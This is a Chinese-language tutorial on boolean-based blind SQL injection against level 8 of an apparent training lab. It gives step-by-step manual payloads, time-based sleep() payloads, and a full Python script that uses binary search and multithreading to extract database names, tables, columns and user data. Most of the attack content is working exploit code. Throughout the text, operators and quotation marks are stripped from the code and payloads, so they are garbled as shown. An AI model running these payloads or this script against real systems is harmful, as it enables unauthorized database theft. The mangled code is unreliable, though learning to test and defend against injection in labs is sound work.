布尔盲注实战:从手工原理到Python自动化脚本
1. 第八关到底在考什么从报错消失说起很多人刷到第八关的时候会愣一下——前七关好歹有个报错信息、有个回显位、有个能看见的东西到了第八关页面干干净净输入个单引号啥反应都没有。你盯着浏览器看了半天怀疑是不是自己网络卡了刷新一下还是那个样子。这就是第八关的核心特征页面没有回显也没有报错但查询结果的真假会反映在页面的某个状态上。这个状态可能是登录成功/失败的文案切换可能是You are in...这句话出现与否也可能是一个图片的加载与不加载。总之你能拿到的信息只有两种真True和假False。布尔盲注Boolean-based Blind SQL Injection这个名字听起来唬人拆开看就三件事第一注入点存在但数据不直接显示第二我们通过构造条件判断语句让数据库返回真或假第三根据页面反馈的真假一个字符一个字符地把数据问出来。本质上这就是一场和数据库之间的二十问游戏——你问它第一个字符的ASCII码是不是大于100它回答是或不是你根据回答缩小范围最终锁定答案。第八关相比第五关同样是盲注最大的区别在于第五关通常还有报错或者某种形式的间接回显而第八关是纯粹的布尔盲注页面只给你一个存在/不存在的信号。这意味着你不能再依赖报错信息来快速定位必须老老实实地用二分法去猜每一个字符。适合谁来参考这篇内容如果你已经刷过前几关理解了联合查询注入和报错注入的基本原理现在卡在第八关不知道怎么下手那这篇就是写给你的。如果你是完全的新手建议先把前四关的联合查询搞明白再来看盲注否则会觉得很抽象。提示盲注的核心不是技术多高深而是耐心逻辑。工具能帮你自动化但手工跑一遍才能真正理解原理。2. 判断注入类型先搞清楚闭合方式在动手写盲注脚本之前有一件事必须先确认注入点的闭合方式是什么。第八关通常是字符型注入闭合符号是单引号。但这个结论不能靠猜得验证。2.1 用真假条件做第一次试探假设页面有一个id参数正常访问是http://目标地址/Less-8/?id1页面会显示类似You are in...........的提示。现在构造两个请求http://目标地址/Less-8/?id1 and 11 -- http://目标地址/Less-8/?id1 and 12 --如果第一个请求页面正常显示You are in...第二个请求页面显示异常比如提示消失、内容为空那就说明单引号闭合成立后面的and 11和and 12被当作SQL条件执行了页面确实根据SQL查询的真假给出了不同反馈。这一步是整个盲注的基础。如果and 11和and 12返回的页面完全一样那要么闭合方式不对要么这个参数根本不是注入点。2.2 为什么用 -- 而不是 --在URL中传参时--后面需要跟一个空格才能注释掉后面的内容。但URL里空格会被编码成%20直接写空格可能被浏览器或服务器处理掉。用--是因为在URL编码中代表空格这样传到后端就变成了--正好完成注释。这是个小细节但新手经常在这里卡住构造的payload明明逻辑对就是不生效。2.3 确认闭合方式的其他可能性虽然第八关标准答案是单引号但实际环境中可能遇到双引号、括号、甚至数字型。验证方法是一样的换不同的闭合符号去试闭合方式测试payload判断依据单引号id1 and 11 --真条件正常假条件异常双引号id1 and 11 --同上单引号加括号id1) and 11 --同上数字型id1 and 11 --无需闭合符号实测下来第八关就是最标准的单引号字符型。确认了这一点后面的所有payload都可以在这个基础上构造。3. 手工盲注的完整逻辑链从猜长度到逐字符爆破确认注入点之后接下来的工作就是问数据库问题。但问题不能乱问得有条理。整个手工盲注的流程可以拆成四步猜数据库名长度、猜数据库名、猜表名、猜字段和数据。每一步都是用二分法逐字符逼近。3.1 第一步确定当前数据库名的长度为什么要先猜长度因为后面逐字符猜的时候你需要知道循环的边界。如果不知道长度就得一直猜到字符串结束效率低且容易出错。构造payloadid1 and length(database())8 --页面返回真说明数据库名长度是8。如果不是8就换7、9、10去试。更高效的方式是用二分法id1 and length(database())5 -- 真 id1 and length(database())10 -- 假 id1 and length(database())7 -- 真 id1 and length(database())8 -- 真这样几次就能锁定长度。假设这里确定长度是8。3.2 第二步逐字符猜数据库名现在知道数据库名有8个字符接下来猜第一个字符是什么。用ASCII码来比较id1 and ascii(substr(database(),1,1))100 --如果返回真说明第一个字符的ASCII码大于100如果假说明小于等于100。然后用二分法不断缩小范围ascii(substr(database(),1,1))100 → 真 ascii(substr(database(),1,1))115 → 假 ascii(substr(database(),1,1))107 → 真 ascii(substr(database(),1,1))111 → 假 ascii(substr(database(),1,1))109 → 假 ascii(substr(database(),1,1))109 → 真ASCII 109对应小写字母m。第一个字符是m。重复这个过程8次就能得到完整的数据库名。假设最终得到的是security。这里有个经验二分法的区间选择很重要。可打印字符的ASCII范围是32到126所以初始区间设为64可以快速判断是大写字母、小写字母还是数字/符号。如果64为真再判断96区分大小写字母和数字。这样能把搜索空间快速压缩。3.3 第三步猜表名拿到数据库名之后下一步是猜这个数据库里有哪些表。第八关通常只有一个表但流程还是要走。先猜表的数量id1 and (select count(table_name) from information_schema.tables where table_schemadatabase())1 --返回真说明只有一个表。然后猜第一个表名的长度id1 and length((select table_name from information_schema.tables where table_schemadatabase() limit 0,1))5 --假设长度是5。接着逐字符猜表名id1 and ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1))100 --重复二分法最终得到表名比如users。3.4 第四步猜字段名和数据同样的逻辑先猜字段数量再猜每个字段名的长度和内容id1 and (select count(column_name) from information_schema.columns where table_nameusers)3 -- id1 and length((select column_name from information_schema.columns where table_nameusers limit 0,1))8 -- id1 and ascii(substr((select column_name from information_schema.columns where table_nameusers limit 0,1),1,1))100 --假设字段是username和password。最后猜数据id1 and ascii(substr((select username from users limit 0,1),1,1))100 --这个过程手工跑一遍你会对盲注的笨拙有深刻体会——一个8字符的数据库名用二分法大概需要40到50次请求。如果表多、字段多、数据多手工几乎不可能完成。所以实际渗透中盲注一定是用脚本自动化的。注意手工跑一遍的目的是理解原理不是让你真的手工去猜完所有数据。理解之后立刻上脚本这才是正确的姿势。4. 用Python写一个能跑的布尔盲注脚本手工理解原理之后接下来就是把它自动化。我用Python写一个针对第八关的盲注脚本核心思路很简单构造payload发送请求根据页面返回内容判断真假用二分法逼近每个字符。4.1 脚本的整体框架先定义几个核心函数import requests import time # 目标地址 url http://目标地址/Less-8/ # 判断真假的条件页面中是否包含特定字符串 def is_true(payload): full_url url ?id1 and payload -- try: r requests.get(full_url, timeout10) # 根据实际页面调整判断条件 return You are in in r.text except: return False # 二分法猜字符 def guess_char(sql_query, position): low 32 high 126 while low high: mid (low high) // 2 payload fascii(substr(({sql_query}),{position},1)){mid} if is_true(payload): low mid 1 else: high mid return chr(low) # 猜字符串长度 def guess_length(sql_query): low 1 high 50 while low high: mid (low high) // 2 payload flength(({sql_query})){mid} if is_true(payload): low mid 1 else: high mid return low # 猜完整字符串 def guess_string(sql_query): length guess_length(sql_query) result for i in range(1, length 1): result guess_char(sql_query, i) print(f\r[*] 当前结果: {result}, end) print() return result这段代码的核心是guess_char函数。它用二分法在ASCII 32到126之间搜索每次请求判断当前字符的ASCII码是否大于中间值根据真假调整区间最终锁定字符。4.2 为什么判断条件要选You are in第八关的页面在查询为真时会显示You are in...........为假时这个字符串消失。所以用You are in in r.text作为真假判断是最直接的。但实际环境中这个判断条件可能不同——有的页面是显示一张图片有的是显示登录成功有的是HTTP状态码变化。你需要先手工确认真假条件下的页面差异再把那个差异点写进脚本。我踩过的一个坑一开始用len(r.text)来判断觉得真条件下页面内容多假条件下内容少。结果发现两个页面的长度差只有几个字节网络波动或者页面动态内容会导致误判。后来改成判断特定字符串是否存在稳定性立刻上来了。4.3 加入重试机制和延迟盲注脚本会发送大量请求网络抖动、服务器限流都可能导致某次请求失败进而导致猜错字符。所以必须加重试def is_true_with_retry(payload, retries3): for i in range(retries): result is_true(payload) if result is not None: return result time.sleep(0.5) return False另外如果服务器有请求频率限制需要在每次请求之间加一个小延迟time.sleep(0.1)这个延迟不能太大否则跑完整个数据库要几个小时也不能太小否则触发限流。实测0.1到0.3秒比较合适具体看目标服务器的响应速度。4.4 跑一遍完整流程把上面的函数串起来# 猜数据库名 print([*] 正在猜数据库名...) db_name guess_string(select database()) print(f[] 数据库名: {db_name}) # 猜第一个表名 print([*] 正在猜表名...) table_name guess_string( select table_name from information_schema.tables where table_schemadatabase() limit 0,1 ) print(f[] 表名: {table_name}) # 猜字段名 print([*] 正在猜字段名...) column_name guess_string( fselect column_name from information_schema.columns fwhere table_name{table_name} limit 0,1 ) print(f[] 字段名: {column_name}) # 猜数据 print([*] 正在猜数据...) data guess_string( fselect {column_name} from {table_name} limit 0,1 ) print(f[] 数据: {data})这个脚本跑起来之后你会看到字符一个一个地蹦出来。一个8字符的数据库名大概需要40到60次请求耗时取决于网络延迟。如果每次请求200毫秒大概10到15秒能跑完。5. 脚本跑不通时怎么排查几个高频翻车点脚本写完了跑起来报错或者结果不对这是最常见的情况。我整理了几个高频问题基本覆盖了90%的翻车场景。5.1 判断条件写错了最常见的问题is_true函数里的判断字符串和实际页面不匹配。比如页面显示的是You are in...你写的是you are in大小写不一致导致所有请求都返回假脚本猜出来的全是乱码。排查方法手工访问一次真条件URL和假条件URL把两个页面的返回内容保存下来用diff对比找到那个唯一的差异点。那个差异点就是你的判断条件。5.2 二分法边界搞反了二分法的逻辑是如果ascii mid为真说明目标字符在右半区间low mid 1如果为假说明在左半区间high mid。如果这两个写反了脚本会陷入死循环或者猜出错误的字符。验证方法拿一个已知字符测试。比如数据库名的第一个字符是sASCII 115手工构造ascii(substr(database(),1,1))100确认返回真再构造120确认返回假。然后用脚本的guess_char函数单独跑这个位置看输出是不是s。5.3 URL编码问题payload里包含空格、单引号、括号等特殊字符直接拼接到URL里可能被浏览器或服务器错误解析。requests库会自动处理一部分编码但单引号和空格最好手动处理payload payload.replace( , %20)或者直接用requests的params参数params {id: f1 and {payload} --} r requests.get(url, paramsparams)这样requests会自动帮你做URL编码省心很多。我一开始手动拼接URL经常因为编码问题导致payload失效后来全部改用params问题少了一大半。5.4 服务器返回内容不稳定有些页面包含动态内容比如时间戳、随机广告导致每次请求的返回文本都不一样。如果你的判断条件是You are in in r.text这个没问题但如果是r.text expected_text就会因为动态内容导致误判。解决方案判断条件尽量用包含而不是等于并且选择页面中稳定的、不随请求变化的字符串作为标志。5.5 请求超时和连接重置盲注脚本请求量大目标服务器可能因为负载过高而超时或重置连接。这时候需要在requests.get里设置timeout并捕获异常try: r requests.get(full_url, timeout10) except requests.exceptions.RequestException as e: print(f请求失败: {e}) return None返回None的时候上层函数做重试。这样即使个别请求失败也不会导致整个脚本崩溃。6. 盲注效率优化从能跑到跑得快脚本能跑通之后下一步就是优化速度。盲注的本质是用请求换数据所以优化的核心就是减少请求次数。6.1 二分法 vs 逐字符遍历逐字符遍历是从ASCII 32开始一个一个试到126最坏情况每个字符要94次请求。二分法每次把范围缩小一半最多7次请求就能锁定一个字符。两者效率差了十几倍。但二分法也有优化空间。如果目标字符大概率是数字或小写字母可以把初始区间缩小到48-122减少一两次请求。不过这个优化收益不大而且如果猜错了区间会导致结果错误所以一般还是用完整的32-126。6.2 一次请求猜多个字符二分法每次只能猜一个字符但我们可以通过构造更复杂的条件一次请求判断多个字符的信息。比如id1 and ascii(substr(database(),1,1))100 and ascii(substr(database(),2,1))100 --这样一次请求能同时获取两个字符的部分信息。但这种方法会让逻辑变复杂而且如果第一个条件为假第二个条件的信息就浪费了。实际中不太常用了解即可。6.3 用时间盲注做补充如果页面真假反馈不明显或者判断条件不好找可以考虑时间盲注。时间盲注不依赖页面内容变化而是通过sleep()函数让数据库延迟响应根据响应时间判断真假id1 and if(ascii(substr(database(),1,1))100, sleep(3), 0) --如果响应时间超过3秒说明条件为真否则为假。时间盲注的优点是判断条件明确缺点是每次请求都要等几秒效率极低。所以能用布尔盲注就不要用时间盲注。6.4 多线程并发盲注脚本是IO密集型的大部分时间花在等待服务器响应上。用多线程可以同时猜多个字符大幅缩短总耗时from concurrent.futures import ThreadPoolExecutor def guess_string_parallel(sql_query, length): result [] * length def guess_one(i): result[i-1] guess_char(sql_query, i) with ThreadPoolExecutor(max_workers5) as executor: executor.map(guess_one, range(1, length 1)) return .join(result)但多线程会增加服务器负载可能触发限流。建议线程数控制在3到5个并且加适当的延迟。实测下来5个线程比单线程快3到4倍再往上加收益递减而且容易被封。注意多线程盲注对目标服务器压力较大仅在你拥有明确授权的测试环境中使用。未经授权的测试可能违反相关法律法规。7. 从第八关延伸出去盲注的通用思路第八关只是布尔盲注的一个入门练习实际环境中的盲注场景要复杂得多。但核心思路是一样的找到真假反馈的差异点构造条件判断用二分法逐字符提取数据。7.1 不同数据库的盲注差异MySQL、PostgreSQL、SQL Server、Oracle的盲注语法有差异。比如MySQL用substr()和ascii()SQL Server用substring()和unicode()Oracle用substr()和ascii()但需要加from dual。实际测试中先判断数据库类型再选择对应的函数。数据库截取函数ASCII函数注释符MySQLsubstr()ascii()-- 或 #PostgreSQLsubstring()ascii()--SQL Serversubstring()unicode()--Oraclesubstr()ascii()--7.2 盲注之外的替代方案如果盲注效率太低可以考虑其他注入方式。比如联合查询注入如果有回显位直接union select效率最高报错注入如果页面有报错信息用updatexml或extractvalue一次请求能带出32位数据堆叠注入如果支持多语句执行可以直接插入数据或执行命令。盲注是没有办法的办法只有在完全没有回显和报错的情况下才用。所以实际测试中先尝试联合查询和报错注入都不行再上盲注。7.3 盲注脚本的通用化改造针对第八关写的脚本稍微改一下就能适配其他盲注场景。核心改动点修改url和is_true的判断条件修改payload的闭合方式单引号、双引号、括号等修改SQL查询语句数据库名、表名、字段名根据实际情况调整。把这三个地方参数化就能做成一个通用的盲注工具。我自己维护了一个小脚本把目标地址、闭合方式、判断条件作为命令行参数传入换一个目标只需要改几个参数不用重写代码。7.4 盲注中的编码问题如果数据库使用了非UTF-8编码比如GBK盲注时可能会遇到宽字节问题。这时候需要在payload中插入%df等特殊字节来绕过转义。但第八关是标准的UTF-8环境不涉及这个问题。实际环境中如果遇到中文数据猜字符时要用hex()或ord()处理多字节字符否则会猜出乱码。8. 我在第八关踩过的几个坑最后分享几个我在第八关实际踩过的坑都是文档里不会写的。第一个坑判断条件用了页面长度。一开始我觉得真条件下页面内容多假条件下内容少用len(r.text)判断就行了。结果发现两个页面的长度差只有几个字节而且页面底部有个动态时间戳每次请求长度都不一样。后来改成判断You are in字符串是否存在问题解决。第二个坑二分法边界写反。low mid 1和high mid写反了脚本跑出来的字符全是错的。排查了半天才发现是二分法逻辑问题。后来我养成了一个习惯写二分法之后先用一个已知字符测试确认逻辑正确再跑完整流程。第三个坑没加重试机制。跑一个长字符串的时候中间某次请求超时导致那个字符猜错后面的结果全乱。加了重试之后偶尔的请求失败不会影响最终结果。第四个坑线程数开太多。为了追求速度开了20个线程结果目标服务器直接返回503脚本全挂。后来降到5个线程稳定跑完。第五个坑忘了URL编码。payload里的空格和单引号直接拼到URL里有时候能跑有时候不能跑排查了很久才发现是编码问题。改用requests的params参数之后再也没遇到过。这些坑说到底都是细节问题但盲注本身就是个细节活。一个字符猜错后面的数据全废。所以脚本的稳定性和准确性比速度更重要。先把脚本跑稳再考虑优化速度这个顺序不能反。